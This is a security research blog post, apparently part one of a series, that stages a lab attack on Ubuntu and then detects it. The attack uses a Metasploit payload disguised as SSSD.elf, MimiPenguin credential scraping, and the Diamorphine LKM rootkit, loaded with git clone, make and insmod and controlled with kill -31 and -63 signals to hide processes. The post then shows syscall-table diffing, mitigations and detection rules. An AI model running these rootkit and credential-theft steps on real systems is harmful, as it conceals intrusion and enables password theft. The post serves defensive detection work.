
Every Linux detection tool you trust rests on one unspoken assumption: that the kernel is telling the truth. ps, lsmod, /proc, your EDR, none of them really see anything, they just relay what the kernel reports. A syscall-table LKM rootkit weaponizes that trust: it doesn't hide from your tools, it makes your tools (i.e the system utilities) lie for the LKM rootkit, quietly censoring their output inside the kernel before it ever reaches userspace. This post walks that attack end to end, a meterpreter root shell, the Diamorphine LKM rootkit, an attacker's process and the malicious module vanishing from every standard tool, and then catches it by reading the kernel's syscall table directly (using a custom made LKM ‘syscall_detector.ko’ ) to prove exactly which pointers in the linux syscall table were hijacked.
It's a loud technique once you know where to look, which is why attackers have moved past it. Part 2 builds the same invisibility with eBPF, modifying no kernel symbols at all, and rebuilds detection for when "compare against a known-good baseline" stops working.
What's Ahead
- Intact syscalls (No Rootkit Scenario). Run the full credential-theft chain on a clean kernel. Watch the attacker's process show up plainly in every process-checking tool. This is the control.
- Tampered syscalls (Rootkit Scenario). Run the same chain, but load the Diamorphine LKM rootkit first. Watch the attacker's process vanish from
ps, watch the rootkit hide its own module fromlsmod, and watch credentials get stolen while the system reports a clean machine. - Observing the tamper. Use a custom-built kernel module to dump the syscall table before and after, then diff them, down to the exact function pointers that got flipped.
Setting the Stage: Getting the shell
Both scenarios start the same way. A Metasploit Linux payload is configured and compiled to an ELF binary named SSSD.elf ; a small bit of blending-in, since SSSD is a legitimate Linux auth daemon nobody looks at twice.

Once SSSD.elf is executed on the victim Ubuntu host via sudo/root, it calls back and hands over an interactive root-level Meterpreter session. From there, sessions -i 1 drops into a normal Meterpreter prompt with full filesystem access. On the victim, bpftrace (Scenario A) and auditd (Scenario B) are already running, capturing the syscalls generated by everything that follows.
Intact Syscalls (No Rootkit)
The control run establishes what the attack looks like when nothing is hiding it.
Stealing plaintext credentials from memory
With the root session established, the attacker loads the Metasploit post-exploitation module:
post/linux/gather/mimipenguin
MimiPenguin scrapes plaintext credentials out of the memory of processes that hold them, and its highest-value target on a Linux desktop is the GNOME Keyring Daemon, which caches logged-in users' login passwords in cleartext inside its own process memory. Configure the module with the SESSION ID, run it, and if the target users are logged in, it hands back usernames and passwords in the clear.
There's an operational caveat baked into the technique, and it's the same one that showed up in the earlier credential-dumping research: if the other users aren't currently logged in, the module fails to fetch anything. The secret has to actually be resident in memory at the time of the scrape. No live session, no credential.
Process checking utilities


This is the point of Scenario A. With the Meterpreter session live, the ordinary process-inspection toolkit ; ps, pgrep, top, and direct reads of /proc ; is used to hunt for the attacker's process. And it's right there. The SSSD.elf payload shows up plainly in every one of them.
Observations
The result the whole study pivots on:
The Metasploit payload (
SSSD.elf) was detectable viaps,pgrep,top,/proc, etc. It was not hidden from the syscalls, which were faithfully rendering the details ofSSSD.elfto the process-checking utilities.
The kernel was telling the truth. The tools worked. A defender running any of them would have seen the intruder. Now we break that.
Captured SYSCALL logs (bpftrace).
Tampered Syscalls (Rootkit)
Same attacker, same payload, same credential-theft module. One addition: before the theft, the attacker loads a rootkit.
Loading the Diamorphine LKM rootkit
The rootkit is Diamorphine, a well-known open-source LKM rootkit. Over the remote shell, the attacker clones, builds, and loads it:
git clone https://github.com/m0nad/Diamorphine
cd Diamorphine
make
insmod diamorphine.ko
make produces diamorphine.ko; insmod loads it into kernel space (Ring 0). And immediately, dmesg shows the two lines that matter enormously later:
diamorphine: loading out-of-tree module taints kernel.
diamorphine: module verification failed: signature and/or required key missing - tainting kernel
Hold onto those. They're the kernel's own confession, and the rootkit can't retract them.
The rootkit hides itself
The attacker checks whether the module loaded:
lsmod | grep diamorphine
Nothing. Empty result ; but the module is loaded and running. This is Diamorphine's stealth capability, which hides itself from the lsmod listing (its module-hide toggle is driven by signal 63, sent with kill -63 0). Crucially, dmesg can still see it, because those taint lines were written at load time, before the hiding logic engaged. The fact that the rootkit is demonstrably running yet invisible to lsmod and ps is direct evidence that the kernel's view of its own module list and process list has been tampered with ; evidence that the kernel modules directory /proc/modules is no longer trustworthy.

Hiding the attacker's process
This is the payoff moment. Diamorphine lets you toggle the visibility of any process by sending it a magic signal:
kill -31 <PID>
Send signal 31 to the Meterpreter process's PID and it disappears. ps can't see it. pgrep can't see it. Anything enumerating /proc comes up empty for that PID. The attacker's process is still running, still holding its session ; but re-run the exact process hunt from Scenario A, and where the payload was plainly listed before, there is now nothing.


Post-exploitation module detonation, invisibly
With the attacker's process hidden, the same post/linux/gather/mimipenguin module runs again, scraping plaintext passwords from the GNOME Keyring Daemon's memory exactly as before. Same theft, same result. The only difference is that this time, nothing on the victim's process list ever showed the intruder was there.
Unloading the rootkit ; and a genuinely instructive failure

To unload the rootkit, you first un-hide it (kill -63 0), then rmmod diamorphine. But here's the quirk worth dwelling on: after the rootkit is unloaded, the magic signals stop being magic. Try to hide the Meterpreter process again with kill -31 <PID> and instead of hiding it, you kill it ; the session dies with a bad system call error.

Why? Because kill -31 was never a special command. It's an ordinary kill() syscall with signal number 31. While Diamorphine was loaded, it had hooked the kill syscall and repurposed signals 31, 63, and 64 as covert control commands, intercepting them before the kernel's real signal logic ran. Once the rootkit is unloaded, that hook is gone, and signal 31 reverts to what it actually is to the real kernel: SIGSYS, signal number 31, literally the "bad system call" signal, whose default action is to terminate the process (which is exactly the bad system call error you see). The magic only worked because the kernel was compromised. Remove the compromise, and the same command that used to hide a process now destroys it.
That single behavior tells you more about the attack than any amount of theory: the rootkit wasn't adding a feature, it was lying about an existing syscall. Which raises the only question that really matters ; exactly which lies, and where?
Observations
- Diamorphine directly tampers with system calls. It's a Linux LKM rootkit that modifies the system call table (
sys_call_table) to intercept and hook specific syscalls, letting it hide files, processes, and its own module presence. - It primarily hooks
getdents,getdents64, andkill. By hookinggetdents/getdents64, it filters directory listings to conceal specific files, directories, or hidden processes from user-space utilities. - Once an LKM rootkit like Diamorphine successfully hooks the syscall table, standard user-space tools (
lsmod,ps) cannot be trusted, because the rootkit actively tampers with the data those tools rely on. - Every userspace tool that reports on processes reads
/proc, and enumerating/procgoes throughgetdents/getdents64. The rootkit hides processes by hooking these functions and stripping the entries for whatever it wants concealed from the returned values.
Observing changes at the syscall table (what actually got tampered)
Watching processes vanish proves something changed. It doesn't prove what. To get from "the system is behaving strangely" to "these specific kernel pointers were overwritten," a custom syscall-table detector LKM was built ; the raw files are syscall_detector.c and its Makefile.
Capture the clean baseline before loading Diamorphine
First, build the detector against the running kernel:
sudo apt update
sudo apt install -y build-essential linux-headers-$(uname -r)
make
ls -l syscall_detector.ko
Then capture the untampered table ; load the detector, have it walk the syscall table and dump every entry to the kernel log, grab that output, and unload:
sudo dmesg -C
sudo insmod syscall_detector.ko verbose=1
sudo dmesg | grep detector | tee syscalls.txt
sudo rmmod syscall_detector
That gives the intact/untampered syscall table in syscalls.txt.
Detecting the tampered syscall table
Now run the attack chain, load the LKM rootkit, hide the attacker's process via sudo kill -31 <PID>, and re-scan with the identical procedure:
sudo dmesg -C
sudo insmod syscall_detector.ko verbose=1
sudo dmesg | grep detector | tee tampered_syscalls.txt
sudo rmmod syscall_detector
That gives the tampered table in tampered_syscalls.txt. Two dumps of the same table, one before, one after. Diff them.
Observing the changes and analysing the tampering
The LKM rootkit "Diamorphine" changed three function pointers and left the remaining 433 untouched.
| Syscall | Index | BEFORE (clean) | AFTER (tampered) |
|---|---|---|---|
kill |
62 | ffffffffa26b3f60 __x64_sys_kill+0x0/0xb0 |
ffffffffc0822520 hacked_kill+0x0/0x110 |
getdents |
78 | ffffffffa28fc830 __x64_sys_getdents+0x0/0x140 |
ffffffffc0822250 hacked_getdents+0x0/0x200 |
getdents64 |
217 | ffffffffa28fcaa0 __x64_sys_getdents64+0x0/0x20 |
ffffffffc0822050 hacked_getdents64+0x0/0x200 |
The addresses tell the whole story on their own:
- Everything a user-space program asks the kernel to do ; open a file, list a directory, send a signal ; goes through the system call table (
sys_call_table). The array index is the syscall number, and each slot holds the address of the kernel function that services that call. Index 62 points at the code that implementskill(), index 78 atgetdents(), and so on. - On a clean kernel, every entry in
sys_call_tablepoints inside kernel text, the address range(_stext, _etext). On this VM (Ubuntu 5.4.0-150-generic) the detector reported that range as[ffffffffa2600000, ffffffffa3400e31)and found the table itself atffffffffa36013c0. 0xffffffffa2……to0xffffffffa3……is that kernel-text range. This is where every genuine syscall handler lives on this VM ; and it's exactly where all three BEFORE pointers sit.0xffffffffc0……is the address prefix for the module / vmalloc region, where the loader maps any LKM's code when youinsmodit ; and it's exactly where all three AFTER pointers now sit.- So after tampering, the 3 syscalls no longer jump into the kernel. They jump into loaded-module territory, straight into Diamorphine's
hacked_*replacement functions. - The size of the syscall functions also changes post-tamper (bytes increased ; e.g.
killwent from+0xb0to+0x110), because the malicious replacements are simply bigger functions than the originals.
That address-range shift, from kernel-text …a2… to module-region …c0…, is the detection. You don't need to reverse the rootkit's logic. A syscall pointer resolving outside kernel text is, by definition, hijacked.
Why those three syscalls?
The choice maps perfectly onto Scenario B's behavior:
getdents/getdents64are how every process-and-file enumeration tool reads directories, including/proc. Hook these two, filter the returned entries, and you make any file, directory, or process invisible to userspace. This is why the hidden Meterpreter PID vanished fromps; not becausepsbroke, but because thegetdents64results feeding it were censored mid-flight.killis the covert command channel. Hooking it is what let signals 31, 63, and 64 become the rootkit's private control interface ; and why those signals reverted to lethal behavior the instant the hook was removed.
MITRE ATT&CK Mapping
T1547.006 & T1014: Kernel Modules and Rootkits
The attack chain maps cleanly onto ATT&CK. Loading Diamorphine as an LKM is T1547.006, Boot or Logon Autostart Execution: Kernel Modules and Extensions: the adversary uses the kernel's own module-loading mechanism (insmod / finit_module) to execute code in Ring 0. Everything the module does once resident, hooking sys_call_table to conceal the attacker's process, hide its own module from lsmod, and let the credential theft run unseen, is T1014, Rootkit: tampering with kernel-level functionality so the operating system misreports its own state. The credential-scraping step itself (MimiPenguin against the GNOME Keyring Daemon) is T1003, OS Credential Dumping, which ties this post directly back to the earlier credential-dumping research.
MITRE ATT&CK classifies maliciously loaded Loadable Kernel Modules under T1547.006 (Boot or Logon Autostart Execution: Kernel Modules and Extensions), and when used this way they function as a kernel-mode Rootkit (T1014) running at the highest OS privilege (Ring 0). The documented feature set of LKM rootkits ; hiding themselves, selectively hiding files, processes, and network activity, log tampering, and backdoor root access ; is exactly Diamorphine's behavior in this study. Notably, MITRE's own T1547.006 write-up names Diamorphine and Reptile directly as ready-made open-source templates for kernel-mode backdoors, so this research uses one of the exact tools the framework calls out. The credential-theft stage ; MimiPenguin scraping plaintext passwords from process memory ; falls under T1003 (OS Credential Dumping), the same technique family covered in the earlier SSSD-to-keyring research.
Defensive takeaways
Once a rootkit hooks the syscall table, userspace tools cannot be trusted, because the rootkit tampers with the very data those tools depend on. You cannot detect a lying kernel by politely asking it questions through the same syscalls it has already compromised. Detection has to come from a vantage point the rootkit hasn't subverted.
A single compromised root shell on this host produced:
- Plaintext credentials for any locally logged-in desktop user, via the GNOME keyring daemon.
- A completely hidden attacker process, invisible to
ps,pgrep,top, and/proc. - A hidden rootkit module, invisible to
lsmod. - A compromised syscall table silently censoring the system's own view of itself.
Every one of these assumes the root has already been obtained.
Mitigations
- Restrict module loading. The attack requires loading an unsigned, out-of-tree module. Enforce kernel module signature verification (
module.sig_enforce=1), and where the workload permits, disable module loading at runtime viakernel.modules_disabled=1after boot. A kernel that won't accept an unsigned LKM never reaches this attack at all. - Lock down the prerequisites. Loading an LKM is a Ring 0 operation that requires root. Everything upstream that prevents root compromise ; least privilege, patching, hardened remote access ; is the real first line of defense; the kernel-integrity work below is defense-in-depth for when that fails.
Detection opportunities
- Catch the load, not the hide. The single highest-value signal is the module load itself. Monitor the
init_module/finit_modulesyscalls (viaauditdor eBPF) ; this catches the rootkit regardless of the utility used (insmod,modprobe, or direct syscall) and, critically, before the hiding logic engages. Diamorphine can hide fromlsmodafter the fact; it cannot un-ring the bell of its own load event. - Trust the taint flag. When Diamorphine loaded, the kernel itself logged
loading out-of-tree module taints kernelandmodule verification failed. Alert on kernel taint state and on thosedmesg/syslog lines ; the rootkit hid fromlsmod, but it couldn't retract the taint messages already written at load time. - Watch
kill()for magic signals. Diamorphine's control channel is signals 31, 63, and 64 delivered viakill(). Real software essentially never sends those. Auditingkill()for anomalous/reserved signal numbers is a strong, specific detection. - Verify syscall-table integrity from the kernel side. Periodically walk
sys_call_tableand confirm every entry resolves inside kernel text[_stext, _etext). Any pointer landing in the module/vmalloc region (the…c0…prefix here) is hijacked, full stop. This is the detection that survives even when every userspace tool has been subverted, because it checks the pointers directly rather than trusting their output. - Cross-check userspace against ground truth. Where
lsmodshows nothing but/sys/module/<name>/exists, orpsshows nothing but a PID responds to signals, you have a hidden object.
Conclusion
A syscall-table rootkit doesn't hide from your tools, it turns your tools into liars. ps, pgrep, top, and lsmod all kept running perfectly; they just started reporting a curated version of reality. The attacker stole plaintext credentials and held a live root session while every process-inspection utility on the box swore the machine was clean.
But the same act that made the rootkit powerful is what made it catchable. To hook a syscall, Diamorphine had to modify kernel state, overwrite three pointers in sys_call_table, unlink itself from the module list, and flip the CPU's write-protect bit to do it. Every one of those is a permanent, measurable artifact. That's why the detector needed exactly one rule to expose the whole thing: a syscall pointer that resolves outside kernel text has been hijacked. Three entries pointing into …c0… module space, and the rootkit even handed us its own name when read the kernel ring buffer via dmesg. State-modification attacks lose to state-comparison detection, and that is the entire lesson of Part 1. The LKM rootkit changed the syscall table state and that state was detectable and comparable.
Which is exactly why the ground is shifting.
Everything above assumes the attacker changes something, and gambles that nobody compares against a baseline. But there is a newer class of Linux kernel rootkit that gets the same result, hidden processes, hidden files, covert C2, while modifying no kernel symbols at all. No sys_call_table overwrite. No CR0 write-protect flip. No unsigned module in lsmod. Nothing for our range-check detector to flag, because the table stays byte-for-byte pristine. Instead of patching the kernel, the attacker asks the kernel, through a completely sanctioned interface, to run their code for them: eBPF.
In Part 2, I'll build the eBPF version of this same attack and turn it loose on the same lab. We'll see how a program attached to the getdents64 tracepoint rewrites directory listings directly in userspace memory with bpf_probe_write_user, the identical outcome as hacked_getdents64, achieved without ever owning the table slot, and how an XDP/tc "magic packet" backdoor hides its own C2 traffic on the wire. Then the half that matters most for defenders: we'll run this post's detector LKM (the syscall_detector.ko) against it and watch it report a perfectly clean table, work through why eBPF residency slips past sys_call_table baselining, module signing, and the classic rootkit scanners, and rebuild the detection from the ground up around the artifacts eBPF can't hide, the bpf() syscall, loaded-program enumeration, and out-of-band memory forensics.
Part 1 was the kernel lying to your tools. Part 2 is the kernel doing the attacker's bidding without lying at all, and what detection engineering looks like when "compare it to a known-good baseline" quietly stops working.
Part 2, "Linux Kernel Persistence: LKM vs. eBPF Rootkits", is on the way.